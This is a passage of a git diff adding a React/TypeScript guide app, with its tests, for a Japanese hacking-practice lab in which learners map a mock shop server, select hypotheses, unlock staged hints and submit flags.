+        "root取得後のWindows追加flagは手動で確認します。",
+      ),
+    ).toBeVisible();
+  });
+
+  it("requires confirmation before ending a session", async () => {
+    const user = userEvent.setup();
+    render(<App client={createFixtureClient("live")} />);
+    await screen.findByRole("heading", {
+      name: "中古バイク店の業務サーバを調べる",
+    });
+
+    const endSession = screen.getByRole("button", { name: "演習を終了" });
+    await user.click(endSession);
+    expect(
+      screen.getByRole("dialog", { name: "演習を終了しますか？" }),
+    ).toBeVisible();
+    expect(
+      screen.getByRole("button", { name: "探索を続ける" }),
+    ).toHaveFocus();
+
+    const close = screen.getByRole("button", { name: "閉じる" });
+    close.focus();
+    await user.tab({ shift: true });
+    expect(screen.getByRole("button", { name: "終了する" })).toHaveFocus();
+    await user.tab();
+    expect(close).toHaveFocus();
+
+    await user.click(screen.getByRole("button", { name: "探索を続ける" }));
+    expect(screen.queryByRole("dialog")).not.toBeInTheDocument();
+    expect(endSession).toHaveFocus();
+
+    await user.click(screen.getByRole("button", { name: "演習を終了" }));
+    await user.click(screen.getByRole("button", { name: "終了する" }));
+    expect(
+      screen.getByRole("heading", { name: "演習の表示を終了しました" }),
+    ).toBeVisible();
+  });
+
+  it("renders an honest empty state", async () => {
+    const user = userEvent.setup();
+    render(<App client={createFixtureClient("empty")} />);
+    await user.click(
+      await screen.findByRole("button", { name: /^事実、0件を開く$/ }),
+    );
+    const factsDialog = screen.getByRole("dialog", {
+      name: "分かっていること",
+    });
+    expect(
+      within(factsDialog).getByText("まだ発見はありません。"),
+    ).toBeVisible();
+    expect(
+      within(factsDialog).getByText(
+        "まず有線接続と標的の入口を確認しましょう。",
+      ),
+    ).toBeVisible();
+  });
+
+  it("does not roll the screen back when an older live revision arrives", async () => {
+    const user = userEvent.setup();
+    const initial = await createFixtureClient("live").getState();
+    let publish: ((projection: LabProjection) => void) | undefined;
+    const client: LabClient = {
+      getState: async () => structuredClone(initial),
+      subscribe: (onProjection) => {
+        publish = onProjection;
+        return () => {
+          publish = undefined;
+        };
+      },
+      selectHypothesis: async () => undefined,
+      unlockHint: async () => undefined,
+      submitFlag: async () => ({
+        accepted: false,
+        message: "not used",
+      }),
+    };
+
+    render(<App client={client} />);
+    await screen.findByRole("heading", {
+      name: "中古バイク店の業務サーバを調べる",
+    });
+    await waitFor(() => expect(publish).toBeTypeOf("function"));
+    await user.click(
+      screen.getByRole("button", { name: /^事実、3件を開く$/ }),
+    );
+    const factsDialog = screen.getByRole("dialog", {
+      name: "分かっていること",
+    });
+    expect(within(factsDialog).getByText("Webサイトが見える")).toBeVisible();
+
+    const newer = structuredClone(initial);
+    newer.revision = initial.revision + 2;
+    newer.facts.push({
+      id: "fact-newer",
+      label: "新しいrevisionの事実",
+      icon: "file",
+    });
+    publish!(newer);
+    expect(
+      await within(factsDialog).findByText("新しいrevisionの事実"),
+    ).toBeVisible();
+
+    const older = structuredClone(initial);
+    older.revision = initial.revision + 1;
+    older.facts = [
+      {
+        id: "fact-rollback",
+        label: "巻き戻された事実",
+        icon: "file",
+      },
+    ];
+    publish!(older);
+
+    await waitFor(() =>
+      expect(
+        within(factsDialog).getByText("新しいrevisionの事実"),
+      ).toBeVisible(),
+    );
+    expect(
+      within(factsDialog).queryByText("巻き戻された事実"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("reconciles map selection after a live graph revision", async () => {
+    const user = userEvent.setup();
+    const projection = await createFixtureClient("live").getState();
+    const sharedProps = {
+      connectionStatus: "live" as const,
+      pendingAction: null,
+      onRefresh: () => undefined,
+      onOpenConsultation: () => undefined,
+      onSubmitFlag: async () => undefined,
+      experience: "live" as const,
+      pairingPending: false,
+      onPairSession: async () => true,
+    };
+    const { rerender } = render(
+      <ExplorationMap projection={projection} {...sharedProps} />,
+    );
+
+    const fileNode = screen
+      .getAllByRole("button", { name: /ファイル置き場/ })
+      .find((button) => button.hasAttribute("aria-pressed"))!;
+    await user.click(fileNode);
+    expect(fileNode).toHaveAttribute("aria-pressed", "true");
+
+    const stillVisible = structuredClone(projection);
+    stillVisible.revision += 1;
+    rerender(<ExplorationMap projection={stillVisible} {...sharedProps} />);
+    expect(
+      screen
+        .getAllByRole("button", { name: /ファイル置き場/ })
+        .find((button) => button.hasAttribute("aria-pressed")),
+    ).toHaveAttribute("aria-pressed", "true");
+
+    const removedSelection = structuredClone(stillVisible);
+    removedSelection.revision += 1;
+    removedSelection.graph.nodes = removedSelection.graph.nodes.map((node) =>
+      node.id === "file-drop"
+        ? { ...node, state: "undiscovered", label: "未発見" }
+        : node.id === "admin"
+          ? { ...node, state: "selected" }
+          : { ...node, state: node.state === "selected" ? "discovered" : node.state },
+    );
+    rerender(
+      <ExplorationMap projection={removedSelection} {...sharedProps} />,
+    );
+
+    await waitFor(() =>
+      expect(
+        screen.getByRole("button", { name: /Linux管理者/ }),
+      ).toHaveAttribute("aria-pressed", "true"),
+    );
+  });
+
+  it("reconciles consultation selection without discarding a valid user choice", async () => {
+    const user = userEvent.setup();
+    const projection = await createFixtureClient("live").getState();
+    const sharedProps = {
+      connectionStatus: "live" as const,
+      pendingAction: null,
+      onRefresh: () => undefined,
+      onSelectHypothesis: async () => true,
+      onUnlockHint: async () => true,
+      onSubmitFlag: async () => undefined,
+      onBackToMap: () => undefined,
+    };
+    const { rerender } = render(
+      <SituationConsultation
+        projection={projection}
+        {...sharedProps}
+      />,
+    );
+
+    const userChoice = screen.getByRole("button", {
+      name: /公開ファイルに別の手掛かりがないか探す/,
+    });
+    await user.click(userChoice);
+
+    const refreshed = structuredClone(projection);
+    refreshed.revision += 1;
+    rerender(
+      <SituationConsultation projection={refreshed} {...sharedProps} />,
+    );
+    expect(userChoice).toHaveAttribute("aria-pressed", "true");
+
+    const removedChoice = structuredClone(refreshed);
+    removedChoice.revision += 1;
+    removedChoice.hypotheses = removedChoice.hypotheses
+      .filter((hypothesis) => hypothesis.id !== "hypothesis-public-files")
+      .map((hypothesis) => ({
+        ...hypothesis,
+        selected: hypothesis.id === "hypothesis-login",
+      }));
+    rerender(
+      <SituationConsultation projection={removedChoice} {...sharedProps} />,
+    );
+    await waitFor(() =>
+      expect(
+        screen.getByRole("button", {
+          name: /ログイン用の情報が残っていないか調べる/,
+        }),
+      ).toHaveAttribute("aria-pressed", "true"),
+    );
+
+    rerender(
+      <SituationConsultation
+        projection={removedChoice}
+        preferredHypothesisId="hypothesis-input"
+        {...sharedProps}
+      />,
+    );
+    await waitFor(() =>
+      expect(
+        screen.getByRole("button", {
+          name: /スタッフ向け画面の入力を試す/,
+        }),
+      ).toHaveAttribute("aria-pressed", "true"),
+    );
+  });
+
+  it("shows rejected and accepted manual flag results beside the form", async () => {
+    const user = userEvent.setup();
+    const submit = vi
+      .fn()
+      .mockResolvedValueOnce({
+        accepted: false,
+        message: "flagを確認できませんでした。",
+      })
+      .mockResolvedValueOnce({
+        accepted: true,
+        message: "flagを確認しました。",
+      });
+    render(
+      <ManualFlagForm
+        pending={false}
+        onSubmit={submit}
+        mode="fallback"
+      />,
+    );
+
+    const input = screen.getByLabelText("見つけたflag");
+    await user.type(input, "LAB-wrong");
+    await user.click(screen.getByRole("button", { name: "提出" }));
+    expect(
+      await screen.findByText("flagを確認できませんでした。"),
+    ).toBeVisible();
+    expect(input).toHaveValue("LAB-wrong");
+    expect(input).toHaveAttribute("aria-invalid", "true");
+
+    await user.clear(input);
+    await user.type(input, "LAB-correct");
+    await user.click(screen.getByRole("button", { name: "提出" }));
+    expect(await screen.findByText("flagを確認しました。")).toBeVisible();
+    await waitFor(() => expect(input).toHaveValue(""));
+    expect(submit).toHaveBeenCalledTimes(2);
+  });
+});
+
+describe("projection boundary", () => {
+  it("keeps the latest four events in chronological display order", () => {
+    const projection = normalizeProjection({
+      recentEvents: Array.from({ length: 6 }, (_, index) => ({
+        id: `event-${index + 1}`,
+        at: `10:0${index + 1}`,
+        message: `発見 ${index + 1}`,
+      })),
+    });
+
+    expect(projection.recentEvents.map((event) => event.id)).toEqual([
+      "event-3",
+      "event-4",
+      "event-5",
+      "event-6",
+    ]);
+  });
+
+  it("removes hidden labels and locked hint bodies", () => {
+    const projection = normalizeProjection({
+      sessionId: "boundary-test",
+      graph: {
+        nodes: [
+          {
+            id: "map-opaque",
+            state: "undiscovered",
+            label: "secret route name",
+            detail: "secret route detail",
+          },
+        ],
+        edges: [],
+      },
+      hints: [
+        {
+          id: "hint-locked",
+          step: 2,
+          title: "使う道具",
+          state: "locked",
+          body: "secret locked hint",
+        },
+      ],
+      progress: { discovered: 0, total: 14 },
+      telemetry: { status: "live" },
+    });
+
+    expect(projection.graph.nodes[0]).toMatchObject({
+      id: "map-opaque",
+      label: "未発見",
+      detail: undefined,
+    });
+    expect(projection.hints[0].body).toBeUndefined();
+  });
+});
diff --git a/apps/lab-guide/src/App.tsx b/apps/lab-guide/src/App.tsx
new file mode 100644
index 0000000..1fdbf1e
--- /dev/null
+++ b/apps/lab-guide/src/App.tsx
@@ -0,0 +1,208 @@
+import {
+  IconCircleCheck,
+  IconLoader2,
+  IconRefresh,
+} from "@tabler/icons-react";
+import { useCallback, useEffect, useState } from "react";
+import {
+  LabRequestError,
+  pairLabSession,
+  resolveLabClient,
+} from "./api";
+import { AppHeader } from "./components/AppHeader";
+import { EndSessionDialog } from "./components/EndSessionDialog";
+import { ExplorationMap } from "./components/ExplorationMap";
+import { SituationConsultation } from "./components/SituationConsultation";
+import {
+  applyTheme,
+  persistTheme,
+  readStoredTheme,
+  type ThemeMode,
+} from "./theme";
+import type {
+  ExperienceMode,
+  LabClient,
+  ScreenId,
+} from "./types";
+import { useLabSession } from "./useLabSession";
+
+interface AppProps {
+  client?: LabClient;
+  initialExperience?: ExperienceMode;
+}
+
+export function App({
+  client: injectedClient,
+  initialExperience = "live",
+}: AppProps) {
+  const [client, setClient] = useState<LabClient | null>(
+    injectedClient ?? null,
+  );
+  const [clientResolutionFailed, setClientResolutionFailed] = useState(false);
+  const [experience, setExperience] = useState<ExperienceMode>(
+    injectedClient ? initialExperience : "browse",
+  );
+  const [pairingPending, setPairingPending] = useState(false);
+  const [pairingError, setPairingError] = useState("");
+  const [activeScreen, setActiveScreen] = useState<ScreenId>("map");
+  const [preferredHypothesisId, setPreferredHypothesisId] = useState<
+    string | undefined
+  >();
+  const [endDialogOpen, setEndDialogOpen] = useState(false);
+  const [sessionEnded, setSessionEnded] = useState(false);
+  const [theme, setTheme] = useState<ThemeMode>(() => readStoredTheme());
+  const session = useLabSession(client);
+
+  const loadClient = useCallback(async () => {
+    if (injectedClient) {
+      setClient(injectedClient);
+      return;
+    }
+    setClientResolutionFailed(false);
+    try {
+      const resolved = await resolveLabClient();
+      setClient(resolved.client);
+      setExperience(resolved.experience);
+    } catch {
+      setClientResolutionFailed(true);
+    }
+  }, [injectedClient]);
+
+  useEffect(() => {
+    if (!client) void loadClient();
+  }, [client, loadClient]);
+
+  useEffect(() => {
+    if (!session.announcement) return;
+    const timer = window.setTimeout(session.clearAnnouncement, 5500);
+    return () => window.clearTimeout(timer);
+  }, [session.announcement, session.clearAnnouncement]);
+
+  useEffect(() => {
+    applyTheme(theme);
+    persistTheme(theme);
+  }, [theme]);
+
+  const openConsultation = (hypothesisId?: string) => {
+    setPreferredHypothesisId(hypothesisId);
+    setActiveScreen("consultation");
+  };
+
+  const pairSession = async (code: string): Promise<boolean> => {
+    setPairingPending(true);
+    setPairingError("");
+    try {
+      const pairedClient = await pairLabSession(code);
+      setClient(pairedClient);
+      setExperience("live");
+      setActiveScreen("map");
+      setSessionEnded(false);
+      return true;
+    } catch (error) {
+      setPairingError(
+        error instanceof LabRequestError
+          ? error.message
+          : "ライブセッションへ接続できませんでした。コードと通信を確認してください。",
+      );
+      return false;
+    } finally {
+      setPairingPending(false);
+    }
+  };
+
+  const closeEndDialog = useCallback(() => setEndDialogOpen(false), []);
+  const confirmEndSession = () => {
+    setSessionEnded(true);
+    setEndDialogOpen(false);
+  };
+
+  return (
+    <div className="app-root" data-theme={theme}>
+      <AppHeader
+        activeScreen={activeScreen}
+        onScreenChange={setActiveScreen}
+        onEnd={() => setEndDialogOpen(true)}
+        sessionEnded={sessionEnded}
+        experience={experience}
+        theme={theme}
+        onThemeChange={setTheme}
+      />
+
+      {sessionEnded ? (
+        <main className="session-ended-state">
+          <IconCircleCheck aria-hidden="true" />
+          <h1>演習の表示を終了しました</h1>
+          <p>
+            標的ノートはまだ初期化されていません。機材には触れず、運営者へ復旧を依頼してください。
+          </p>
+        </main>
+      ) : session.projection ? (
+        activeScreen === "map" ? (
+          <ExplorationMap
+            projection={session.projection}
+            connectionStatus={session.connectionStatus}
+            pendingAction={session.pendingAction}
+            onRefresh={() => void session.refresh()}
+            onOpenConsultation={openConsultation}
+            onSubmitFlag={session.submitFlag}
+            experience={experience}
+            pairingPending={pairingPending}
+            pairingError={pairingError}
+            onPairSession={pairSession}
+          />
+        ) : (
+          <SituationConsultation
+            projection={session.projection}
+            connectionStatus={session.connectionStatus}
+            pendingAction={session.pendingAction}
+            preferredHypothesisId={preferredHypothesisId}
+            onRefresh={() => void session.refresh()}
+            onSelectHypothesis={session.selectHypothesis}
+            onUnlockHint={session.unlockHint}
+            onSubmitFlag={session.submitFlag}
+            onBackToMap={() => setActiveScreen("map")}
+          />
+        )
+      ) : (
+        <main className="initial-state" aria-live="polite">
+          {session.connectionStatus === "unavailable" ||
+          clientResolutionFailed ? (
+            <>
+              <IconRefresh aria-hidden="true" />
+              <h1>学習サイトに接続できません</h1>
+              <p>有線接続を確認して、状態をもう一度読み込んでください。</p>
+              <button
+                type="button"
+                className="primary-action"
+                onClick={() =>
+                  clientResolutionFailed
+                    ? void loadClient()
+                    : void session.refresh()
+                }
+              >
+                <IconRefresh aria-hidden="true" />
+                再読込
+              </button>
+            </>
+          ) : (
+            <>
+              <IconLoader2 className="spin" aria-hidden="true" />
+              <h1>標的の状態を確認しています</h1>
+              <p>接続できると、見つけた事実から探索地図を組み立てます。</p>
+            </>
+          )}
+        </main>
+      )}
+
+      <div className="sr-only" role="status" aria-live="polite">
+        {session.announcement}
+      </div>
+
+      <EndSessionDialog
+        open={experience === "live" && endDialogOpen}
+        onCancel={closeEndDialog}
+        onConfirm={confirmEndSession}
+      />
+    </div>
+  );
+}
diff --git a/apps/lab-guide/src/api.test.ts b/apps/lab-guide/src/api.test.ts
new file mode 100644
index 0000000..5fe1820
--- /dev/null
+++ b/apps/lab-guide/src/api.test.ts
@@ -0,0 +1,52 @@
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { ApiLabClient, pairLabSession } from "./api";
+
+afterEach(() => {
+  vi.unstubAllGlobals();
+  window.localStorage.clear();
+});
+
+function jsonResponse(body: unknown = {}) {
+  return new Response(JSON.stringify(body), {
+    status: 200,
+    headers: { "content-type": "application/json" },
+  });
+}
+
+describe("ExamServer lab API namespace", () => {
+  it("pairs and reads state through /api/lab", async () => {
+    const fetchMock = vi.fn(
+      async (_input: RequestInfo | URL, _init?: RequestInit) => jsonResponse(),
+    );
+    vi.stubGlobal("fetch", fetchMock);
+
+    await pairLabSession("ABCD23");
+
+    expect(fetchMock).toHaveBeenNthCalledWith(
+      1,
+      "/api/lab/session/pair",
+      expect.objectContaining({ method: "POST" }),
+    );
+    expect(fetchMock).toHaveBeenNthCalledWith(
+      2,
+      "/api/lab/session/state",
+      expect.objectContaining({ method: "GET" }),
+    );
+  });
+
+  it("sends learning actions through /api/lab", async () => {
+    const fetchMock = vi.fn(
+      async (_input: RequestInfo | URL, _init?: RequestInit) => jsonResponse(),
+    );
+    vi.stubGlobal("fetch", fetchMock);
+    const client = new ApiLabClient();
+
+    await client.selectHypothesis("hyp-web");
+    await client.unlockHint("hint-web-1");
+
+    expect(fetchMock.mock.calls.map(([url]) => url)).toEqual([
+      "/api/lab/session/hypotheses/hyp-web/select",
+      "/api/lab/session/hints/hint-web-1/unlock",
+    ]);
+  });
+});
diff --git a/apps/lab-guide/src/api.ts b/apps/lab-guide/src/api.ts
new file mode 100644
index 0000000..02f8ed8
--- /dev/null
+++ b/apps/lab-guide/src/api.ts
@@ -0,0 +1,546 @@
+import type {
+  ConnectionStatus,
+  ExperienceMode,
+  Fact,
+  FlagSubmissionResult,
+  GraphEdge,
+  GraphNode,
+  Hint,
+  Hypothesis,
+  IconKey,
+  Investigation,
+  LabClient,
+  LabProjection,
+  RecentEvent,
+  SessionStatus,
+} from "./types";
+
+type UnknownRecord = Record<string, unknown>;
+
+const RECENT_EVENT_LIMIT = 4;
+const LIVE_SESSION_MARKER = "examserver.lab.live-session.v1";
+const STREAM_RECONNECT_GRACE_MS = 3_500;
+const API_ROOT = "/api/lab";
+
+function apiPath(path: string): string {
+  return `${API_ROOT}/${path.replace(/^\/+/, "")}`;
+}
+
+const iconKeys = new Set<IconKey>([
+  "browser",
+  "calendar",
+  "door",
+  "file",
+  "folder",
+  "globe",
+  "network",
+  "server",
+  "terminal",
+  "user",
+]);
+
+function isRecord(value: unknown): value is UnknownRecord {
+  return typeof value === "object" && value !== null && !Array.isArray(value);
+}
+
+function asRecord(value: unknown): UnknownRecord {
+  return isRecord(value) ? value : {};
+}
+
+function asArray(value: unknown): unknown[] {
+  return Array.isArray(value) ? value : [];
+}
+
+function asText(value: unknown, fallback = "", maxLength = 220): string {
+  if (typeof value !== "string") return fallback;
+  const normalized = value.trim();
+  return normalized ? normalized.slice(0, maxLength) : fallback;
+}
+
+function asId(value: unknown, fallback: string): string {
+  const candidate = asText(value, fallback, 96);
+  return /^[a-zA-Z0-9_.:-]+$/.test(candidate) ? candidate : fallback;
+}
+
+function asNumber(value: unknown, fallback = 0): number {
+  return typeof value === "number" && Number.isFinite(value) ? value : fallback;
+}
+
+function asIcon(value: unknown, fallback: IconKey = "file"): IconKey {
+  return typeof value === "string" && iconKeys.has(value as IconKey)
+    ? (value as IconKey)
+    : fallback;
+}
+
+function asConnectionStatus(value: unknown): ConnectionStatus {
+  return value === "browse" ||
+    value === "waiting" ||
+    value === "loading" ||
+    value === "live" ||
+    value === "reconnecting" ||
+    value === "unavailable"
+    ? value
+    : "live";
+}
+
+function asExperienceMode(value: unknown): ExperienceMode {
+  return value === "browse" ? "browse" : "live";
+}
+
+function asSessionStatus(value: unknown): SessionStatus {
+  return value === "complete" || value === "ended" ? value : "active";
+}
+
+function normalizeFact(value: unknown, index: number): Fact {
+  const fact = asRecord(value);
+  return {
+    id: asId(fact.id, `fact-${index + 1}`),
+    label: asText(fact.label, "確認済みの事実"),
+    detail: asText(fact.detail) || undefined,
+    icon: asIcon(fact.icon, "file"),
+  };
+}
+
+function normalizeNode(value: unknown, index: number): GraphNode {
+  const node = asRecord(value);
+  const state =
+    node.state === "selected" || node.state === "undiscovered"
+      ? node.state
+      : "discovered";
+  const position = asRecord(node.position);
+  const hasPosition =
+    typeof position.x === "number" && typeof position.y === "number";
+
+  return {
+    id: asId(node.id, `node-${index + 1}`),
+    label:
+      state === "undiscovered"
+        ? "未発見"
+        : asText(node.label, "確認済みの地点"),
+    detail:
+      state === "undiscovered" ? undefined : asText(node.detail) || undefined,
+    icon:
+      state === "undiscovered" ? "file" : asIcon(node.icon ?? node.kind, "file"),
+    state,
+    progress:
+      state === "undiscovered" ? undefined : asText(node.progress, "", 32) || undefined,
+    position: hasPosition
+      ? {
+          x: asNumber(position.x),
+          y: asNumber(position.y),
+        }
+      : undefined,
+  };
+}
+
+function normalizeEdge(value: unknown, index: number): GraphEdge | undefined {
+  const edge = asRecord(value);
+  const from = asId(edge.from ?? edge.source, "");
+  const to = asId(edge.to ?? edge.target, "");
+  if (!from || !to) return undefined;
+
+  return {
+    id: asId(edge.id, `edge-${index + 1}`),
+    from,
+    to,
+    state:
+      edge.state === "possible" || edge.state === "available"
+        ? "possible"
+        : "known",
+  };
+}
+
+function normalizeHypothesis(value: unknown, index: number): Hypothesis {
+  const hypothesis = asRecord(value);
+  return {
+    id: asId(hypothesis.id, `hypothesis-${index + 1}`),
+    label: asText(hypothesis.label, "次に確認すること"),
+    summary: asText(
+      hypothesis.summary,
+      "観察した事実とのつながりを確かめます。",
+    ),
+    selected: hypothesis.selected === true,
+    available: hypothesis.available !== false,
+  };
+}
+
+function normalizeInvestigation(
+  value: unknown,
+  index: number,
+): Investigation {
+  const investigation = asRecord(value);
+  return {
+    id: asId(investigation.id, `investigation-${index + 1}`),
+    label: asText(investigation.label, "次の調査を選ぶ"),
+    summary: asText(
+      investigation.summary,
+      "見つけた事実から、もう一段詳しく確認します。",
+    ),
+    icon: asIcon(investigation.icon, "file"),
+    hypothesisId:
+      typeof investigation.hypothesisId === "string"
+        ? asId(investigation.hypothesisId, "")
+        : undefined,
+  };
+}
+
+function normalizeHint(value: unknown, index: number): Hint {
+  const hint = asRecord(value);
+  const step = hint.step === 2 || hint.step === 3 ? hint.step : 1;
+  const state =
+    hint.state === "unlocked" || hint.state === "available"
+      ? hint.state
+      : "locked";
+
+  return {
+    id: asId(hint.id, `hint-${step}-${index + 1}`),
+    step,
+    title:
+      asText(hint.title) ||
+      (step === 1 ? "見る場所" : step === 2 ? "使う道具" : "操作例"),
+    state,
+    body:
+      state === "unlocked" ? asText(hint.body, "", 500) || undefined : undefined,
+    condition:
+      state === "unlocked"
+        ? undefined
+        : asText(
+            hint.condition,
+            step === 1
+              ? "仮説を選ぶと開けます"
+              : "前のヒントを確認すると開けます",
+          ),
+  };
+}
+
+function normalizeRecentEvent(value: unknown, index: number): RecentEvent {
+  const event = asRecord(value);
+  return {
+    id: asId(event.id, `event-${index + 1}`),
+    at: asText(event.at ?? event.timestamp, "--:--", 24),
+    message: asText(event.message, "新しい事実を確認しました。"),
+  };
+}
+
+function normalizeRecentEvents(value: unknown): RecentEvent[] {
+  const events = asArray(value);
+  const firstDisplayedIndex = Math.max(0, events.length - RECENT_EVENT_LIMIT);
+  const latestEventsInChronologicalOrder = events.slice(firstDisplayedIndex);
+
+  return latestEventsInChronologicalOrder.map((event, index) =>
+    normalizeRecentEvent(event, firstDisplayedIndex + index),
+  );
+}
+
+function unwrapProjection(value: unknown): UnknownRecord {
+  const envelope = asRecord(value);
+  const nested =
+    envelope.projection ?? envelope.state ?? envelope.snapshot ?? envelope.data;
+  return isRecord(nested) ? nested : envelope;
+}
+
+export function normalizeProjection(value: unknown): LabProjection {
+  const raw = unwrapProjection(value);
+  const graph = asRecord(raw.graph);
+  const telemetry = asRecord(raw.telemetry);
+  const progress = asRecord(raw.progress);
+  const capabilities = asRecord(raw.capabilities);
+  const hypotheses = asArray(raw.hypotheses).map(normalizeHypothesis);
+  const suppliedInvestigations = asArray(raw.investigations);
+
+  return {
+    experience: asExperienceMode(raw.experience),
+    sessionId: asId(raw.sessionId, "local-session"),
+    revision: Math.max(0, asNumber(raw.revision)),
+    status: asSessionStatus(raw.status),
+    heading: asText(raw.heading, "中古バイク店の業務サーバを調べる"),
+    lede: asText(
+      raw.lede,
+      "見つけた事実をつなぎ、管理者権限までの道を探します。",
+    ),
+    objective: asText(raw.objective, "まず1つの入口を確かめる"),
+    consultationQuestion: asText(
+      raw.consultationQuestion ?? raw.question,
+      "見つけた事実から、次に何を確かめますか？",
+    ),
+    facts: asArray(raw.facts).map(normalizeFact),
+    hypotheses,
+    investigations:
+      suppliedInvestigations.length > 0
+        ? suppliedInvestigations.slice(0, 3).map(normalizeInvestigation)
+        : hypotheses.slice(0, 3).map((hypothesis, index) => ({
+            id: `investigation-${hypothesis.id}`,
+            label: hypothesis.label,
+            summary: hypothesis.summary,
+            icon: (index === 0
+              ? "globe"
+              : index === 1
+                ? "folder"
+                : "user") as IconKey,
+            hypothesisId: hypothesis.id,
+          })),
+    graph: {
+      nodes: asArray(graph.nodes).map(normalizeNode),
+      edges: asArray(graph.edges)
+        .map(normalizeEdge)
+        .filter((edge): edge is GraphEdge => edge !== undefined),
+    },
+    hints: asArray(raw.hints)
+      .map(normalizeHint)
+      .sort((left, right) => left.step - right.step),
+    progress: {
+      discovered: Math.max(0, asNumber(progress.discovered)),
+      total: Math.max(1, asNumber(progress.total, 14)),
+    },
+    recentEvents: normalizeRecentEvents(raw.recentEvents),
+    telemetry: {
+      status: asConnectionStatus(telemetry.status),
+      message: asText(telemetry.message) || undefined,
+    },
+    capabilities: {
+      manualFlagSubmission: capabilities.manualFlagSubmission === true,
+    },
+  };
+}
+
+export class LabRequestError extends Error {
+  constructor(
+    readonly status: number,
+    readonly code: string,
+    message = code,
+  ) {
+    super(message);
+    this.name = "LabRequestError";
+  }
+}
+
+async function readJson(response: Response): Promise<unknown> {
+  if (response.status === 204) return undefined;
+  const contentType = response.headers.get("content-type") ?? "";
+  if (!contentType.includes("application/json")) {
+    throw new LabRequestError(
+      response.status,
+      "invalid_response",
+      "学習サイトからJSON以外の応答を受け取りました。",
+    );
+  }
+  return response.json();
+}
+
+async function request(
+  path: string,
+  init: RequestInit = {},
+): Promise<unknown> {
+  const response = await fetch(path, {
+    ...init,
+    headers: {
+      accept: "application/json",
+      ...(init.body ? { "content-type": "application/json" } : {}),
+      ...init.headers,
+    },
+  });
+
+  if (!response.ok) {
+    let code = "request_failed";
+    let message = `request_failed:${response.status}`;
+    try {
+      const raw = asRecord(await readJson(response));
+      const error = asRecord(raw.error);
+      code = asText(error.code, code, 64);
+      message = asText(error.message, message, 220);
+    } catch {
+      // Keep the bounded fallback. Error responses are not trusted input.
+    }
+    throw new LabRequestError(response.status, code, message);
+  }
+
+  return readJson(response);
+}
+
+function hasLiveSessionMarker(): boolean {
+  try {
+    return window.localStorage.getItem(LIVE_SESSION_MARKER) === "paired";
+  } catch {
+    return false;
+  }
+}
+
+function rememberLiveSession(): void {
+  try {
+    window.localStorage.setItem(LIVE_SESSION_MARKER, "paired");
+  } catch {
+    // The HttpOnly session cookie remains authoritative.
+  }
+}
+
+function forgetLiveSession(): void {
+  try {
+    window.localStorage.removeItem(LIVE_SESSION_MARKER);
+  } catch {
+    // Storage can be unavailable in hardened/private browser contexts.
+  }
+}
+
+async function resolveBrowseClient(): Promise<ResolvedLabClient> {
+  const { createBrowseClient } = await import("./browse");
+  return { client: createBrowseClient(), experience: "browse" };
+}
+
+export class ApiLabClient implements LabClient {
+  async getState(signal?: AbortSignal): Promise<LabProjection> {
+    return normalizeProjection(
+      await request(apiPath("session/state"), {
+        method: "GET",
+        signal,
+      }),
+    );
+  }
+
+  subscribe(
+    onProjection: (projection: LabProjection) => void,
+    onError: () => void,
+  ): () => void {
+    if (typeof EventSource === "undefined") {
+      onError();
+      return () => undefined;
+    }
+
+    const source = new EventSource(apiPath("session/events"));
+    let lastMessageAt = Date.now();
+    let failureTimer: ReturnType<typeof setTimeout> | undefined;
+    const receive = (event: MessageEvent<string>) => {
+      try {
+        lastMessageAt = Date.now();
+        if (failureTimer) {
+          clearTimeout(failureTimer);
+          failureTimer = undefined;
+        }
+        onProjection(normalizeProjection(JSON.parse(event.data)));
+      } catch {
+        onError();
+      }
+    };
+    const scheduleError = () => {
+      if (failureTimer) return;
+      const delay = Math.max(
+        0,
+        STREAM_RECONNECT_GRACE_MS - (Date.now() - lastMessageAt),
+      );
+      failureTimer = setTimeout(() => {
+        failureTimer = undefined;
+        if (Date.now() - lastMessageAt >= STREAM_RECONNECT_GRACE_MS) {
+          onError();
+        }
+      }, delay);
+    };
+
+    source.onmessage = receive;
+    source.addEventListener("snapshot", receive as EventListener);
+    source.addEventListener("state", receive as EventListener);
+    source.onerror = scheduleError;
+
+    return () => {
+      if (failureTimer) clearTimeout(failureTimer);
+      source.close();
+    };
+  }
+
+  async selectHypothesis(id: string): Promise<LabProjection | undefined> {
+    const payload = await request(
+      apiPath(`session/hypotheses/${encodeURIComponent(id)}/select`),
+      { method: "POST" },
+    );
+    return payload === undefined ? undefined : normalizeProjection(payload);
+  }
+
+  async unlockHint(id: string): Promise<LabProjection | undefined> {
+    const payload = await request(
+      apiPath(`session/hints/${encodeURIComponent(id)}/unlock`),
+      { method: "POST" },
+    );
+    return payload === undefined ? undefined : normalizeProjection(payload);
+  }
+
+  async submitFlag(flag: string): Promise<FlagSubmissionResult> {
+    const raw = asRecord(
+      await request(apiPath("session/flags/submit"), {
+        method: "POST",
+        body: JSON.stringify({ flag }),
+      }),
+    );
+    const projection = raw.projection ?? raw.state;
+
+    return {
+      accepted: raw.accepted === true,
+      message: asText(
+        raw.message,
+        raw.accepted === true
+          ? "flagを確認しました。"
+          : "flagを確認できませんでした。",
+      ),
+      projection:
+        projection === undefined ? undefined : normalizeProjection(projection),
+    };
+  }
+}
+
+export interface ResolvedLabClient {
+  client: LabClient;
+  experience: ExperienceMode;
+}
+
+export async function pairLabSession(code: string): Promise<LabClient> {
+  const normalizedCode = code.trim().toUpperCase();
+  if (!/^[A-Z2-9]{6}$/.test(normalizedCode)) {
+    throw new LabRequestError(
+      400,
+      "invalid_pairing_code",
+      "6文字の接続コードを入力してください。",
+    );
+  }
+
+  await request(apiPath("session/pair"), {
+    method: "POST",
+    body: JSON.stringify({ code: normalizedCode }),
+  });
+  const client = new ApiLabClient();
+  await client.getState();
+  rememberLiveSession();
+  return client;
+}
+
+export async function resolveLabClient(): Promise<ResolvedLabClient> {
+  const params = new URLSearchParams(window.location.search);
+
+  if (import.meta.env.DEV) {
+    const requestedFixture =
+      params.get("fixture") ??
+      (import.meta.env.VITE_LAB_GUIDE_MODE === "fixture" ? "live" : null);
+
+    if (requestedFixture) {
+      const { createFixtureClient } = await import("./fixtures");
+      return {
+        client: createFixtureClient(requestedFixture),
+        experience: "live",
+      };
+    }
+  }
+
+  const localFallbackRequested = params.get("local") === "1";
+  if (!localFallbackRequested && !hasLiveSessionMarker()) {
+    return resolveBrowseClient();
+  }
+
+  const liveClient = new ApiLabClient();
+  try {
+    const projection = await liveClient.getState();
+    if (projection.experience !== "live") {
